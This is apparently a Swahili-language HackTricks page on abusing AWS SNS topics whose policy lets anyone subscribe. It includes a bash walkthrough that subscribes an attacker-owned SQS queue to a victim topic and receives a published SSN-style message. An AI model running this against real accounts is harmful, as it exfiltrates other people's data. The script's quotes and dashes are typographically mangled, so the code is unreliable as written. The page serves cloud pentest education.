AWS - SNS Unauthenticated Enum

Tip

Jifunze na ufanye mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Saidia HackTricks

SNS

Kwa maelezo zaidi kuhusu SNS angalia:

AWS - SNS Enum

Wazi kwa Wote

Unapoweka topic ya SNS kupitia web console inawezekana kuonyesha kwamba Kila mtu anaweza kuchapisha na kujiandikisha kwenye topic:

Kwa hivyo ikiwa utakapopata ARN ya topics ndani ya account (au kwa brute forcing majina yanayowezekana ya topics) unaweza kuangalia kama unaweza kuchapisha au kujiandikisha kwao.

Hii itakuwa sawa na sera ya rasilimali ya SNS topic kuruhusu sns:Subscribe kwa * (au kwa accounts za nje), yoyote principal anaweza kutengeneza subscription itakayowasilisha ujumbe wote wa topic ujao kwa SQS queue wanayomiliki. Wakati mmiliki wa queue anapoanzisha subscription, hakuna uthibitisho wa binadamu unaohitajika kwa SQS endpoints.

Mfano (us-east-1) ```bash REGION=us-east-1 # Victim account (topic owner) VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)

Open the topic to anyone subscribing

cat > /tmp/topic-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“OpenSubscribe”,“Effect”:“Allow”,“Principal”:“*”,“Action”:“sns:Subscribe”,“Resource”:“$VICTIM_TOPIC_ARN”}]} JSON aws sns set-topic-attributes –region $REGION –topic-arn “$VICTIM_TOPIC_ARN” –attribute-name Policy –attribute-value file:///tmp/topic-policy.json

Attacker account (queue owner)

ATTACKER_Q_URL=$(aws sqs create-queue –queue-name attacker-exfil-queue-$(date +%s) –region $REGION –query QueueUrl –output text) ATTACKER_Q_ARN=$(aws sqs get-queue-attributes –queue-url “$ATTACKER_Q_URL” –region $REGION –attribute-names QueueArn –query Attributes.QueueArn –output text)

Allow the victim topic to send to the attacker queue

cat > /tmp/sqs-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“AllowVictimTopicSend”,“Effect”:“Allow”,“Principal”:{“Service”:“sns.amazonaws.com”},“Action”:“sqs:SendMessage”,“Resource”:“$ATTACKER_Q_ARN”,“Condition”:{“ArnEquals”:{“aws:SourceArn”:“$VICTIM_TOPIC_ARN”}}}]} JSON aws sqs set-queue-attributes –queue-url “$ATTACKER_Q_URL” –region $REGION –attributes Policy=“$(cat /tmp/sqs-policy.json)”

Subscribe the attacker queue to the victim topic (auto-confirmed for SQS)

SUB_ARN=$(aws sns subscribe –region $REGION –topic-arn “$VICTIM_TOPIC_ARN” –protocol sqs –notification-endpoint “$ATTACKER_Q_ARN” –query SubscriptionArn –output text)

Validation: publish and receive

aws sns publish –region $REGION –topic-arn “$VICTIM_TOPIC_ARN” –message {pii:ssn:123-45-6789} aws sqs receive-message –queue-url “$ATTACKER_Q_URL” –region $REGION –max-number-of-messages 1 –wait-time-seconds 10 –query Messages[0].Body –output text

</details>

> [!TIP]
> Jifunze na ufanye mazoezi ya AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na ufanye mazoezi ya GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na ufanye mazoezi ya Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Saidia HackTricks</summary>
>
> - Angalia the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Jiunge na** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) au the [**telegram group**](https://t.me/peass) au **utufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Shiriki hacking tricks kwa kutuma PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>